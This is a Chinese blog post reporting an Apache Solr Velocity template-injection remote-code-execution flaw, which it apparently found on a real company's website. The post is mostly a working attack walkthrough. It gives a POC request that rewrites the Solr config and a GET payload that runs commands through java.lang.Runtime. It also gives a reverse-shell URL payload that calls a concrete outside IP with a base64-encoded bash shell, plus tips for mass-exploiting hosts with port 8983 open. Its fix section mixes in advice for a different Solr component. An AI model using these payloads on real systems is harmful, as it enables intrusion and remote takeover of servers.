CVE-2019-0193 Apache solr velocity模块漏洞&命令执行

Apache Solr高危漏洞深度解析与安全加固实战指南 在企业级搜索服务中,Apache Solr作为基于Lucene构建的开源搜索平台,因其高性能和可扩展性被广泛应用。其核心原理是通过索引和检索技术实现快速内容查询,技术价值在于支撑电商、日志分析等大规模数据检索场景。然而,复杂的功能模块也带来了安全风险,例如DataImportHandler组件和Velocity模板引擎都可能成为攻击入口。本文聚焦Solr的**远程代码执行**和**服务器端请求伪造**等关键漏洞,深入剖析其利用条件与攻击路径,并提供从认证授权、配置加固到应急响应的完整防护方案,帮助开发与运维 阅读详情

@Adminxe

【互联网安全守护计划】

上海XXXXXX有限公司-XXX店 官方网站 存在Apache solr velocity模块远程命令执行漏洞

漏洞描述:

通过发送类似/节点名/config的POST请求对该节点的配置文件做更改

Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定末班,默认设置是false

当设置params.resource.loader.enabled为ture时,将允许用户通过设置请求中的参数来指定相关资源加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行

漏洞特征:

端口:8983,http,solr

路径:/solr/item/config

受影响版本 :

Apache Solr < 8.2.0

站点:https://www.xxxxx.com/

【互联网安全守护计划】

利用工具:

BurpSuite

Firefox浏览器

目标站点: https://www.XXXXX.com/

通过域名反查,可以得到存在8983端口,并且端口下存在solr

得到目标服务器地址: http://XXX.50.13.xxx:8983

solr地址: http://XXX.50.13.xxx:8983/solr

1.因为该漏洞所影响的模块可以利用外部的请求来修改,所以利用恶意的请求payload去修改配置,修改了配置过后,就导致可以执行恶意的脚本,从而发起带有恶意代码的请求。

POST形式发送poc到配置文件config,修改了配置过后,便可以带上恶意脚本的请求去发起访问了,从而导致了远程代码执行,请求路径内容如下图:

打开Burpsuit,点击用户名,抓包-send to Repeater进行config参数修改:

修改值为:

poc为:

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
  }

访问目标主机,找到漏洞的位置,点到 core selector那个按钮,burp抓包拦截

发送到repeater,把上图请求的admin 改为item(这里注意对应的模块),后面再加config 查看是否有其配置文件,如果没有配置文件,则说明可能目标不存在这种漏洞,这也是一种检测方式?

2.GET形式,发送payload,进行命令执行,我们考虑到隐私性和安全性,设置执行命令为pwd(即查看当前位置):

payload为:

/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27pwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

反弹shell payload:

linux 反弹shell命令 bash -i >& /dev/tcp/ip/port 0>&1 (至于payload中为什么要base64编码不太清楚…)

http://ip 8983/solr/item/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMS4yMDMuMi4yMTgvMTIzNCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end 

可进行远程代码执行,通过nc反弹,可以getshell,故定义高危漏洞。

联系方式:

电话 xxxxxxx 006 邮箱: business_csb@bxxxxxx.com

地址: 上海市XXXXXXXXXXXXXXX

批量利用的话:

批量搜一下开了8983端口的主机或者搜关键字solr

漏洞产生原因:

Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定末班,默认设置是false

当设置params.resource.loader.enabled为ture时,将允许用户通过设置请求中的参数来指定相关资源加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行:

{ “update-queryresponsewriter”: { “startup”: “lazy”, “name”: “velocity”, “class”: “solr.VelocityResponseWriter”, “template.base.dir”: “”, “solr.resource.loader.enabled”: “true”, “params.resource.loader.enabled”: “true” }

如何修复漏洞:

1. 官方升级

从Solr的8.2.0版本开始,使用问题参数dataConfig需要将java系统属性“enable.dih.dataconfigparam”设置为true。因此用户可通过将Solr版本升级至8.2.0及以上,对此漏洞进行防护。

2.临时防护建议

1、用户也可通过配置solrconfig.xml文件,将所有DataImportHandler 固定配置项中的dataConfig参数,设置为空字符串。

2、确保网络设置只允许可信流量与Solr建立通信,尤其是与DIH请求处理器的通信。

转载请注明:Adminxe's Blog » CVE-2019-0193 Apache solr velocity模块漏洞&命令执行

Apache Solr远程命令执行漏洞复现 (CVE-2019-0193,docker 搭建) 这里写自定义目录标题0x00漏洞简介0x01 漏洞概述0x02影响范围0x03环境搭建0x04漏洞复现0x05 遇到的问题0x06参考 0x00漏洞简介 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。 0x01 漏洞概述 该漏洞的产生是由于两方面的原因: 当攻击者可以直接访问Solr控制台时,可以通过发送类似/节 阅读详情

相关推荐

Apache Solr远程代码执行漏洞 (CVE-2019-0193)复现操作

QQ交流学习群:811401950 一. 漏洞描述 2019年11月16日,Apache官方发布Apache Solr远程代码执行漏洞(CVE-2019-0193)安全通告,此漏洞存在于可选模块DataImportHandler 中,DataImportHandler是用于从数据库或其他源提取数据的常用模块,该模块中所有DIH配置都可以通过外部请求的dataConfig参 数来设置,由于DIH配置...

weixin_45983744的博客 837

Apache Solr 远程命令执行漏洞 CVE-2019-0193 漏洞复现

Apache Solr 远程命令执行漏洞(CVE-2019-0193) by ADummy 0x00利用路线 ​ 创建核心—&gt;选择debug模式—&gt;写入exp—&gt;命令执行 0x01漏洞介绍 ​ Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能

ADummy的博客 683

Apache Solr远程代码执行漏洞 (CVE-2019-0193)

前言 Apache Solr官方发布Apache Solr存在一个远程代码执行漏洞(CVE-2019-0193),攻击者可利用dataConfig参数构造恶意请求,导致执行任意代码 影响版本 Apache Solr &lt; 8.2.0 环境搭建 切换到solr目录 cd vulhub/solr/CVE-2019-0193 docker-compose up -d docker-compose exec solr bash bin/solr create_core -c test -d

玄道的网安博客 1332

CVE-2019-0193漏洞复现:Apache Solr 远程命令执行漏洞复现

0X00漏洞简介 CVE-2019-0193是一个存在于Apache solr搜索引擎中的命令执行漏洞 0X01漏洞原因 Apache solr 是一款开源的搜索服务器并且使用java语言开发;主要的工作方式:用户通过http请求像搜索引擎发出索引条件,solr对条件进行分词 处理,根据分词结果查找索引,继而找到文档   在Apache solr的可选模块DatalmportHandler中的DIH配置是可以包含脚本,因此存在安全隐患,在apache solr &lt; 8.2.0版本之前DIH配置

m0_58687645的博客 1660

Apache Solr CVE-2019-0193漏洞深度剖析:从原理到实战复现与防御

在Java应用安全领域,远程代码执行漏洞是威胁等级最高的安全风险之一,其核心原理在于攻击者能够通过应用暴露的接口,注入并执行恶意代码。这类漏洞常源于不安全的反序列化、表达式注入或动态脚本执行等功能。以广泛使用的企业级搜索平台Apache Solr为例,其DataImportHandler组件允许通过XML配置执行脚本,若缺乏严格的输入验证和权限控制,便可能成为攻击入口。结合JMX服务暴露的管理接口和JNDI注入技术,攻击者可构造复杂的利用链,实现从配置篡改到远程类加载的完整攻击。本文以CVE-2019-01

jackleechina2011212的博客 488

企业级Apache Solr安全加固:如何防范CVE-2019-17558等常见漏洞攻击

本文深入剖析了企业级Apache Solr面临的安全挑战,特别是CVE-2019-17558等常见漏洞的攻击原理。文章从攻击面分析入手,系统性地提出了涵盖操作系统隔离、网络访问控制、核心功能禁用、身份验证授权以及持续监控的纵深防御加固方案,旨在帮助企业构建可落地的安全防护体系。

weixin_28309571的博客 457

【漏洞复现】Apache Solr Velocity 注入远程命令执行漏洞(CVE-2019-17558)

文章目录Vulhub漏洞复现Apache Solr Velocity 注入远程命令执行漏洞复现一、漏洞概述二、漏洞复现1. 复现步骤 Vulhub漏洞复现 Apache Solr Velocity 注入远程命令执行漏洞复现 一、漏洞概述 Apache Solr 在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。 二、漏洞复现 1. 复现步骤 使用vulhub中CVE-2019-17558的环境进行搭建 https://vulhub.org/#/en

Pluto.的博客 1096

企业级Apache Solr安全加固实战:从高危漏洞修复到深度配置优化

在分布式搜索与大数据处理领域,企业级搜索平台的安全防护是系统架构中至关重要的一环。其核心原理在于通过严格的访问控制、输入验证、配置管理和运行时监控,构建纵深防御体系,以抵御外部攻击与内部风险。对于广泛应用的Apache Solr而言,其技术价值不仅体现在高性能的全文检索能力,更在于能否在复杂生产环境中稳定、安全地处理敏感数据。典型的应用场景包括电商商品搜索、内容管理系统、日志分析平台等,这些场景往往涉及用户隐私或商业数据,对安全性有极高要求。本文聚焦于Solr的远程代码执行(RCE)与反序列化等常见高危漏洞

weixin_30654419的博客 670

【漏洞复现】Apache系列(二)之Solr漏洞复现

【漏洞复现】Apache系列(二)之Solr漏洞复现

qq_45244158的博客 8758

三个代码执行漏洞的复现

CNVD-2021-30167(用友NC BeanShell远程代码执行) CVE-2019-0193(Apache Solr Velocity模板注入RCE) CVE-2020-14882(Weblogic Console远程代码执行漏洞)

gh0stf1re的博客 5842

CVE-2019-0193(Apache Solr Velocity模板注入RCE)漏洞复现

Apache Solr Velocity模板注入RCE漏洞复现 你剥开一个很酸的橙子而感到后悔了,可对于橙子来说,那是它的一切. 目录 - 简介 - 漏洞概述 - 漏洞版本 - 漏洞复现 - 漏洞修复 简介 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以...

战神/calmness的博客 1200

漏洞复现|Apache Solr 远程命令执行漏洞

作者:r0n1n 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。 CVE-2017-12629 0x01 漏洞描述 Apache Solr 是一个基于Java语言利用HTTP&amp;Apache Lucene 来实现的开源的搜索服务器。原理是文档通过Http利用XML加到一个搜索集合中,查询是通过 http收到一个XML/JSON响应来进行查询操作。 0x02 影响版本 Apache Solr &lt; 7.1 Apache Lucene &lt; 7.1 0x03 测试环.

weixin_42282189的博客 646

CTP高频Tick数据:五档期货Level2深度解析20241224

高频Tick五档期货Level2数据,作为一种先进的金融市场分析工具,以其一秒四次的高频更新,为投资者揭示了市场的微观结构。本文将深入探讨这一数据如何帮助投资者洞察市场动态,优化交易策略,实现投资收益的最大化。

level2Tick的博客 1208

Apache Solr Velocity模板注入RCE漏洞复现

Solr简介: Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引,也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。 漏洞概述 近日,国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入的漏洞.该漏洞可以攻击最新版本的S...

Ping_Pig的博客 1750

【FPGA】高效捕捉信号边沿的硬件实现技巧

本文深入探讨了FPGA设计中高效捕捉信号边沿的硬件实现技巧。核心在于通过“打两拍”同步器处理亚稳态风险,并详细解析了上升沿、下降沿及双边沿检测的基础原理与Verilog实现。文章进一步介绍了脉冲展宽、数字滤波等高级优化方案,并结合UART起始位检测与按键消抖等实战场景,提供了可靠的代码范例与调试心得,帮助工程师构建稳定可靠的边沿检测模块。

weixin_29165465的博客 220

【PDN仿真笔记9-使用Sigrity PowerDC进行IR Drop仿真的方法】

使用Sigrity PowerDC进行IR Drop进行仿真的方法

qq_42682826的博客 7981

模版报错_Apache Solr Velocity模版注入远程命令执行漏洞复线

0X01 漏洞概述Apache Solr 是一个开源的搜索服务器。Solr使用Java语言开发,主要基于HTTP和ApacheLucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。10月31日,安全研究员S00pY在GitHub发布了ApacheSolr Velocity模版注入远程命令执行的POC,经...

weixin_42468911的博客 304

AD9361 FIR 滤波器设计

matlab 得到滤波器系数

weixin_44630490的博客 1万+

Apache Solr via Velocity template远程代码执行

漏洞简介 Apache Solr 是一个开源的企业级搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。Apache Solr 中存储的资源是以 Document 为对象进行存储的。它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。 Apache Solr基于Velocity模板存在远程命令执行漏洞。该漏

weixin_51387754的博客 555

嵌入式Linux网络调试:YT8531/YT8521 PHY驱动移植与设备树配置避坑指南

本文深入解析嵌入式Linux系统中YT8531/YT8521 PHY驱动移植与设备树配置的关键技术,涵盖内核驱动适配、RGMII接口时序调整及常见问题排查。针对Motorcomm千兆以太网PHY芯片,提供详细的设备树配置示例和调试技巧,帮助开发者规避典型设计陷阱,确保网络功能稳定运行。

weixin_42525632的博客 664

Transformer 跨界物理建模:探索模拟动态物理系统方法与实践(PINN、流体力学、有限元)

是一个由 Nicholas Zabaras 团队开发的开源项目,托管于 GitHub,旨在将 Transformer 模型(最初在自然语言处理领域大获成功)应用于物理系统的建模与预测。该项目基于论文 ​*“Transformers for Modeling Physical Systems”*​(Neural Networks, 2022),探索了深度学习中的 Transformer 架构如何通过自注意力机制和 Koopman 嵌入来模拟动态物理系统。

源代码杀手的博客 1179

Java组件安全攻防实战:Solr、Shiro、Log4j漏洞组合利用与纵深防御

在Java Web应用开发中,组件安全是构建健壮系统的基石。其核心原理在于理解各组件(如日志框架、鉴权模块、搜索引擎)的内部工作机制与交互方式,攻击者往往利用组件间的信任边界和配置缺陷,构造复杂的攻击链。从技术价值看,深入掌握组件安全机制不仅能有效防御远程代码执行(RCE)、反序列化等高风险漏洞,更是实现应用安全左移、提升整体安全水位的关键。在实际应用场景中,无论是电商、金融还是企业级后台系统,Apache Solr的未授权访问、Apache Shiro的硬编码密钥、Log4j2的JNDI注入等典型漏洞,常

cuanjingyue4687的博客 473

深入剖析RK3588系统休眠唤醒机制及驱动适配秘籍

本文深入探讨了RK3588嵌入式系统的休眠唤醒机制及驱动适配技术。首先分析了系统支持的两种休眠模式(Freeze浅度睡眠和Mem深度睡眠)及四种唤醒方式(GPIO中断、蓝牙事件、外设活动和定时器唤醒)的工作原理。重点介绍了驱动适配的三个关键环节:设备树配置要点、驱动代码实现与优化方法,以及驱动与内核电源管理的协同机制。通过GPIO按键唤醒和蓝牙唤醒两个实际案例,展示了具体实现过程并提供了常见问题的解决方案。文章为开发者提供了全面的技术参考,有助于优化系统功耗管理和响应性能,对嵌入式系统开发具有重要指导意义。

远程部署调试 运行安装 项目调试 二次开发 项目技术新 持续迭代 部分源码免费分享 426

Apache Solr 远程命令执行漏洞(CVE-2019-0193)

Apache Solr 远程命令执行漏洞(CVE-2019-0193)

weixin_44047654的博客 2137

Allegro如何导出和导入器件模型Signal_Model操作指导

在用Allegro做PCB设计的时候,通常需要给器件加上Signal_Model,在做等长的时候用到的非常频繁。如下图,需要把R7002的Signal_Model导入到另外一块没有给R7002加好模型的BRD中。Allegro除了可以给器件添加模型,还支持从一块加好模型的BRD导入到另外一块BRD中,如何导出和导入器件模型Signal_Model操作指导。

weixin_54787054的博客 1891

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

其他的 框架安全:Apache Solr 远程代码漏洞.(CVE-2019-0193)

Apache Solr是一个开源的搜索服务,便用Java语言开发,主要基于 HTTP 和ApacheLucene 实现的。Sor是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。

网络安全领域___专研者. 1707

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

上一篇: 各大厂商防火墙Firewall
下一篇: 这不是你所常见的PHP大马后门分析
Adminxe
博客等级 码龄10年 1万+粉丝 130原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Adminxe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值